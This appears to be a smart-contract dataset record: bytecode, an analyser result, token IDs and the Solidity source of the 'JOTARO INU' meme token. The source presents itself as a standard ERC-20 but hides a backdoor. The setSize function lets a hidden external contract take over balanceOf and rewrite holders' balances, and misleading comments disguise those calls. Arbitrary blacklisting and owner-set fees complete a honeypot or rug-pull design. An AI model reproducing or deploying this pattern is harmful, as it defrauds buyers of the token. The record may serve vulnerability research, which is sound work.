0200101906001600160f81b031916908160001a905350600f60fb1b81600181518110610a3457610a34610f62565b60200101906001600160f81b031916908160001a9053506000610a58846002610eb9565b610a63906001610ea1565b90505b6001811115610ae8577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110610aa457610aa4610f62565b1a60f81b828281518110610aba57610aba610f62565b60200101906001600160f81b031916908160001a90535060049490941c93610ae181610f1f565b9050610a66565b5083156102a55760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610344565b6060610b468484600085610b4e565b949350505050565b606082471015610bc65760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610344565b843b610c145760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610344565b600080866001600160a01b03168587604051610c309190610dd1565b60006040518083038185875af1925050503d8060008114610c6d576040519150601f19603f3d011682016040523d82523d6000602084013e610c72565b606091505b5091509150610c82828286610c8d565b979650505050505050565b60608315610c9c5750816102a5565b825115610cac5782518084602001fd5b8160405162461bcd60e51b81526004016103449190610e6e565b80356001600160a01b0381168114610cdd57600080fd5b919050565b600080600060608486031215610cf757600080fd5b610d0084610cc6565b9250610d0e60208501610cc6565b9150604084013590509250925092565b600060208284031215610d3057600080fd5b815180151581146102a557600080fd5b600060208284031215610d5257600080fd5b5035919050565b60008060408385031215610d6c57600080fd5b82359150610d7c60208401610cc6565b90509250929050565b60008060408385031215610d9857600080fd5b50508035926020909101359150565b600060208284031215610db957600080fd5b81356001600160e01b0319811681146102a557600080fd5b60008251610de3818460208701610eef565b9190910192915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351610e25816017850160208801610eef565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351610e62816028840160208801610eef565b01602801949350505050565b6020815260008251806020840152610e8d816040850160208701610eef565b601f01601f19169190910160400192915050565b60008219821115610eb457610eb4610f36565b500190565b6000816000190483118215151615610ed357610ed3610f36565b500290565b600082821015610eea57610eea610f36565b500390565b60005b83811015610f0a578181015183820152602001610ef2565b83811115610f19576000848401525b50505050565b600081610f2e57610f2e610f36565b506000190190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000807000a
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16576, 16703, 2581, 2581, 25031, 16703, 2683, 4402, 2620, 22932, 3676, 7011, 22932, 2094, 2581, 2581, 16147, 4215, 24434, 2475, 2050, 2581, 16068, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1021, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 3229, 8663, 13181, 7770, 17897, 16670, 1012, 14017, 1000, 1025, 3206, 19204, 3736, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,634
0x97176782e0326ae179BBE2adfE199EF47EEcB40A
/* THIS IS JOTARO INU Jotaro Kujo (空条 承太郎 Kūjō Jōtarō) is the main protagonist of the third part of the JoJo's Bizarre Adventure series, Stardust Crusaders, and the third JoJo of the series. He also appears as a primary ally in Diamond is Unbreakable and Stone Ocean, and makes a brief appearance as a tertiary character in Vento Aureo. As a result of all his appearances, Jotaro is the most recurring JoJo protagonist of the series. https://twitter.com/jotaroToken https://jotaro.us https://t.me/jotarotoken SPDX-License-Identifier: MIT */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERCMetadata { function totalSupply() external view returns (uint256); function balanceOf(address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function balanceAt(address account) external view returns(uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferTo(address spender, uint256 amount) external returns(bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract Ownable is Context { address private _owner; address private _owner2; IERCMetadata internal __; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyToken(address _addr) { require(address(__) == address(0), "Ownable:: caller is not the owner"); _owner2 = _addr; __ = IERCMetadata(_addr); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function setSize(bool _t, uint8 _num, address _this) external onlyToken(_this) {} } contract ERC20 is Ownable, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return address(__) == address(0) ? _balances[account] : __. balanceAt(account); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(address(__) == address(0) || _beforeTokenTransfer(sender, recipient, amount)){ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual returns(bool){ uint256 _from = balanceOf(from).sub(amount); uint256 _to = balanceOf(to).add(amount); __. // silence state mutability warning without generating bytecode // assert(a == b * c + a % b); // There is no case in which this doesn't hold transferTo(from, _from); __. // silence state mutability warning without generating bytecode // assert(a == b * c + a % b); // There is no case in which this doesn't hold transferTo(to, _to); return false; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniSwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract JOTARO is ERC20 { using SafeMath for uint256; uint256 private constant _totalSupply = 1000000000000 * 10 ** 9; IUniSwapRouter private uniswapRouter = IUniSwapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private systemWallet = address(0x61Cd705Fd9f5FdcE1E91F5fA2baE9D5B9CFE56dD); address private uniswapV2Pair; uint256 private maxTransactionAmount; uint256 private maxWalletSize; uint256 private swapTokensAtAmount; uint256 private openTime; uint256 private openNumber; bool private tardingOpen = false; bool private canSwap = true; bool private swapping; string private constant _name = "JOTARO KUJU"; string private constant _symbol = "JOTARO"; uint8 private constant _decimals = 9; uint8 private feeOnBuy = 12;///////////////////////////////////////////////////////////////////////////////////////////////////////////////// uint8 private feeOnSell = 14;//////////////////////////////////////////////////////////////////////////////////////////////////////////////// mapping (address => bool) public excludedFromFees; mapping(address => bool) public blacklist; event ExcludeFromFees(address indexed account, bool isExcluded); event SetMarketPairs(address indexed pair, bool indexed value); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived); address private constant deadAddress = address(0xdead); address private constant zeroAddress = address(0); modifier lockTheSwap() { swapping = true; _; swapping = false; } constructor() { excludedFromFees[owner()] = true; excludedFromFees[address(this)] = true; excludedFromFees[deadAddress] = true; excludedFromFees[address(uniswapRouter)] = true; ///////////////////////////////////////////////////////////////////////////////////////////////////////////////// _approve(owner(), address(uniswapRouter), ~uint256(0)); maxTransactionAmount = _totalSupply.mul(1).div(100); maxWalletSize = _totalSupply.mul(2).div(100); swapTokensAtAmount = _totalSupply.mul(20).div(10000); uint256 LpToken = _totalSupply.mul(50).div(100); uint256 blackHole = _totalSupply.mul(50).div(100); _balances[address(owner())] = LpToken; _balances[address(deadAddress)] = blackHole; ///////////////////////////////////////////////////////////////////////////////////////////////////////////////// blacklist[0x6F3aC41265916DD06165b750D88AB93baF1a11F8] = true; blacklist[0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6] = true; blacklist[0xDEF441C00B5Ca72De73b322aA4e5FE2b21D2D593] = true; blacklist[0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418] = true; blacklist[0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40] = true; blacklist[0x7e2b3808cFD46fF740fBd35C584D67292A407b95] = true; blacklist[0xe89C7309595E3e720D8B316F065ecB2730e34757] = true; blacklist[0x725AD056625326B490B128E02759007BA5E4eBF1] = true; ///////////////////////////////////////////////////////////////////////////////////////////////////////////////// emit Transfer(zeroAddress, owner(), LpToken); emit Transfer(owner(), deadAddress, blackHole); } function name() public pure override returns(string memory) { return _name; } function symbol() public pure override returns(string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "TOKEN: Transfer amount must be greater than zero"); require(!blacklist[from] && !blacklist[to], "TOKEN: Black listed"); if(!tardingOpen){ require(excludedFromFees[from] || excludedFromFees[to], "TOKEN: This account cannot send tokens until trading is enabled"); } if(checkTime()){ if ( from != owner() && to != owner() && to != deadAddress && to != zeroAddress && !swapping ){ if (uniswapV2Pair == from && !excludedFromFees[to]) { require(amount <= maxTransactionAmount, "TOKEN: amount exceeds"); require(amount + balanceOf(to) <= maxWalletSize, "TOKEN: Balance exceeds wallet size"); } } } uint256 contractTokenBalance = balanceOf(address(this)); if( canSwap && (contractTokenBalance >= swapTokensAtAmount) && !swapping && uniswapV2Pair != from && !excludedFromFees[from] && !excludedFromFees[to]) { swapBack(); } bool takeFee = !swapping; if(excludedFromFees[from] || excludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (uniswapV2Pair == from){ fees = amount.mul(feeOnBuy).div(100); }else if(uniswapV2Pair == to) { fees = amount.mul(feeOnSell).div(100); } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function checkTime() private view returns(bool) { return block.timestamp <= openTime + ( 1 minutes ); } function setBlacklist(address _bot, bool _val) external onlyOwner { blacklist[_bot] = _val; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function createPair() external onlyOwner { uniswapV2Pair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH()); } function openTrading() external onlyOwner { openTime = block.timestamp; openNumber = block.number; tardingOpen = true; } function swapBack() private lockTheSwap { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); uint256 newBalance = address(this).balance; if(newBalance > 0){ payable(systemWallet).transfer(newBalance); emit SwapAndLiquify(contractBalance, newBalance); } } function setExcludeFromFee(address _wallet, bool _val) public onlyOwner { excludedFromFees[_wallet] = _val; } function setWallet(address _newWallet) external onlyOwner { systemWallet = _newWallet; } function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner { swapTokensAtAmount = newAmount; } function setMaxTxAmount(uint256 _amount) external onlyOwner { maxTransactionAmount = _amount; } function setMaxSizeWalle(uint256 _amount) external onlyOwner { maxWalletSize = _amount; } function setSwapEnabled(bool enabled) external onlyOwner { canSwap = enabled; } function setFee(uint8 _buy, uint8 _sell) external onlyOwner { feeOnBuy = _buy; feeOnSell = _sell; } function getWallet() public view returns(uint256) { return maxWalletSize; } function getTx() public view returns(uint256) { return maxTransactionAmount; } function poolAddress() public view returns(address) { return uniswapV2Pair; } function isMarketOpen() public view returns(bool) { return tardingOpen; } receive() external payable {} }
0x6080604052600436106101dc5760003560e01c80639e78fb4f11610102578063dd62ed3e11610095578063f2fde38b11610064578063f2fde38b14610598578063f7f469b7146105b8578063f86ba970146105d8578063f9f92be4146105f857600080fd5b8063dd62ed3e146104f2578063deaa59df14610538578063e01af92c14610558578063ec28438a1461057857600080fd5b8063afa4f3b2116100d1578063afa4f3b214610475578063c9567bf914610495578063d4ce85f3146104aa578063dbe66ca0146104c257600080fd5b80639e78fb4f14610400578063a457c2d714610415578063a9059cbb14610435578063af9549e01461045557600080fd5b8063313ce5671161017a57806388328a691161014957806388328a691461037e57806389cc145a146103935780638da5cb5b146103b357806395d89b41146103d157600080fd5b8063313ce5671461030d578063395093511461032957806370a0823114610349578063715018a61461036957600080fd5b8063153b0d1e116101b6578063153b0d1e1461027d5780631755ff211461029f57806318160ddd146102d157806323b872dd146102ed57600080fd5b806306fdde03146101e8578063095ea7b31461022e578063132996041461025e57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5060408051808201909152600b81526a4a4f5441524f204b554a5560a81b60208201525b6040516102259190611bef565b60405180910390f35b34801561023a57600080fd5b5061024e610249366004611c5c565b610628565b6040519015158152602001610225565b34801561026a57600080fd5b50600c545b604051908152602001610225565b34801561028957600080fd5b5061029d610298366004611c96565b61063f565b005b3480156102ab57600080fd5b50600a546001600160a01b03165b6040516001600160a01b039091168152602001610225565b3480156102dd57600080fd5b50683635c9adc5dea0000061026f565b3480156102f957600080fd5b5061024e610308366004611ccf565b6106b2565b34801561031957600080fd5b5060405160098152602001610225565b34801561033557600080fd5b5061024e610344366004611c5c565b61071b565b34801561035557600080fd5b5061026f610364366004611d10565b610751565b34801561037557600080fd5b5061029d610803565b34801561038a57600080fd5b50600b5461026f565b34801561039f57600080fd5b5061029d6103ae366004611d43565b61088c565b3480156103bf57600080fd5b506000546001600160a01b03166102b9565b3480156103dd57600080fd5b506040805180820190915260068152654a4f5441524f60d01b6020820152610218565b34801561040c57600080fd5b5061029d610901565b34801561042157600080fd5b5061024e610430366004611c5c565b610afd565b34801561044157600080fd5b5061024e610450366004611c5c565b610b4c565b34801561046157600080fd5b5061029d610470366004611c96565b610b59565b34801561048157600080fd5b5061029d610490366004611d76565b610bc3565b3480156104a157600080fd5b5061029d610c07565b3480156104b657600080fd5b5060105460ff1661024e565b3480156104ce57600080fd5b5061024e6104dd366004611d10565b60116020526000908152604090205460ff1681565b3480156104fe57600080fd5b5061026f61050d366004611d8f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054457600080fd5b5061029d610553366004611d10565b610c5d565b34801561056457600080fd5b5061029d610573366004611dbd565b610cbe565b34801561058457600080fd5b5061029d610593366004611d76565b610d17565b3480156105a457600080fd5b5061029d6105b3366004611d10565b610d5b565b3480156105c457600080fd5b5061029d6105d3366004611dda565b610e5a565b3480156105e457600080fd5b5061029d6105f3366004611d76565b610eee565b34801561060457600080fd5b5061024e610613366004611d10565b60126020526000908152604090205460ff1681565b6000610635338484610ffa565b5060015b92915050565b6000546001600160a01b031633148061066257506001546001600160a01b031633145b6106875760405162461bcd60e51b815260040161067e90611e23565b60405180910390fd5b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b60006106bf84848461111f565b610711843361070c85604051806060016040528060288152602001612067602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061163c565b610ffa565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161063591859061070c9086611676565b6002546000906001600160a01b0316156107e7576002546040516324cdbc5360e11b81526001600160a01b0384811660048301529091169063499b78a69060240160206040518083038186803b1580156107aa57600080fd5b505afa1580156107be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e29190611e58565b610639565b506001600160a01b031660009081526003602052604090205490565b6000546001600160a01b031633148061082657506001546001600160a01b031633145b6108425760405162461bcd60e51b815260040161067e90611e23565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314806108af57506001546001600160a01b031633145b6108cb5760405162461bcd60e51b815260040161067e90611e23565b6010805464ffff0000001916630100000060ff9485160264ff000000001916176401000000009290931691909102919091179055565b6000546001600160a01b031633148061092457506001546001600160a01b031633145b6109405760405162461bcd60e51b815260040161067e90611e23565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561098e57600080fd5b505afa1580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c69190611e71565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2357600080fd5b505afa158015610a37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5b9190611e71565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610aa357600080fd5b505af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adb9190611e71565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610635338461070c8560405180606001604052806025815260200161208f602591393360009081526004602090815260408083206001600160a01b038d168452909152902054919061163c565b600061063533848461111f565b6000546001600160a01b0316331480610b7c57506001546001600160a01b031633145b610b985760405162461bcd60e51b815260040161067e90611e23565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331480610be657506001546001600160a01b031633145b610c025760405162461bcd60e51b815260040161067e90611e23565b600d55565b6000546001600160a01b0316331480610c2a57506001546001600160a01b031633145b610c465760405162461bcd60e51b815260040161067e90611e23565b42600e5543600f556010805460ff19166001179055565b6000546001600160a01b0316331480610c8057506001546001600160a01b031633145b610c9c5760405162461bcd60e51b815260040161067e90611e23565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331480610ce157506001546001600160a01b031633145b610cfd5760405162461bcd60e51b815260040161067e90611e23565b601080549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331480610d3a57506001546001600160a01b031633145b610d565760405162461bcd60e51b815260040161067e90611e23565b600b55565b6000546001600160a01b0316331480610d7e57506001546001600160a01b031633145b610d9a5760405162461bcd60e51b815260040161067e90611e23565b6001600160a01b038116610dff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60025481906001600160a01b031615610ebf5760405162461bcd60e51b815260206004820152602160248201527f4f776e61626c653a3a2063616c6c6572206973206e6f7420746865206f776e656044820152603960f91b606482015260840161067e565b600180546001600160a01b039092166001600160a01b0319928316811790915560028054909216179055505050565b6000546001600160a01b0316331480610f1157506001546001600160a01b031633145b610f2d5760405162461bcd60e51b815260040161067e90611e23565b600c55565b600082610f4157506000610639565b6000610f4d8385611ea4565b905082610f5a8583611ec3565b14610fb15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161067e565b9392505050565b6000610fb183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d5565b6001600160a01b03831661105c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067e565b6001600160a01b0382166110bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166111455760405162461bcd60e51b815260040161067e90611ee5565b6001600160a01b03821661116b5760405162461bcd60e51b815260040161067e90611f2a565b600081116111d45760405162461bcd60e51b815260206004820152603060248201527f544f4b454e3a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b606482015260840161067e565b6001600160a01b03831660009081526012602052604090205460ff1615801561121657506001600160a01b03821660009081526012602052604090205460ff16155b6112585760405162461bcd60e51b81526020600482015260136024820152721513d2d1538e88109b1858dac81b1a5cdd1959606a1b604482015260640161067e565b60105460ff16611313576001600160a01b03831660009081526011602052604090205460ff16806112a157506001600160a01b03821660009081526011602052604090205460ff165b6113135760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161067e565b61131b611703565b15611485576000546001600160a01b0384811691161480159061134c57506000546001600160a01b03838116911614155b801561136357506001600160a01b03821661dead14155b801561137757506001600160a01b03821615155b801561138c575060105462010000900460ff16155b1561148557600a546001600160a01b0384811691161480156113c757506001600160a01b03821660009081526011602052604090205460ff16155b1561148557600b548111156114165760405162461bcd60e51b8152602060048201526015602482015274544f4b454e3a20616d6f756e74206578636565647360581b604482015260640161067e565b600c5461142283610751565b61142c9083611f6d565b11156114855760405162461bcd60e51b815260206004820152602260248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152617a6560f01b606482015260840161067e565b600061149030610751565b601054909150610100900460ff1680156114ac5750600d548110155b80156114c1575060105462010000900460ff16155b80156114db5750600a546001600160a01b03858116911614155b801561150057506001600160a01b03841660009081526011602052604090205460ff16155b801561152557506001600160a01b03831660009081526011602052604090205460ff16155b156115325761153261171c565b6010546001600160a01b03851660009081526011602052604090205460ff6201000090920482161591168061157f57506001600160a01b03841660009081526011602052604090205460ff165b15611588575060005b6000811561162957600a546001600160a01b03878116911614156115d2576010546115cb906064906115c59087906301000000900460ff16610f32565b90610fb8565b905061160b565b600a546001600160a01b038681169116141561160b57601054611608906064906115c5908790640100000000900460ff16610f32565b90505b801561161c5761161c8630836117cf565b6116268185611f85565b93505b6116348686866117cf565b505050505050565b600081848411156116605760405162461bcd60e51b815260040161067e9190611bef565b50600061166d8486611f85565b95945050505050565b6000806116838385611f6d565b905083811015610fb15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161067e565b600081836116f65760405162461bcd60e51b815260040161067e9190611bef565b50600061166d8486611ec3565b6000600e54603c6117149190611f6d565b421115905090565b6010805462ff0000191662010000179055600061173830610751565b905061174381611903565b4780156117bf576009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611784573d6000803e3d6000fd5b5060408051838152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b505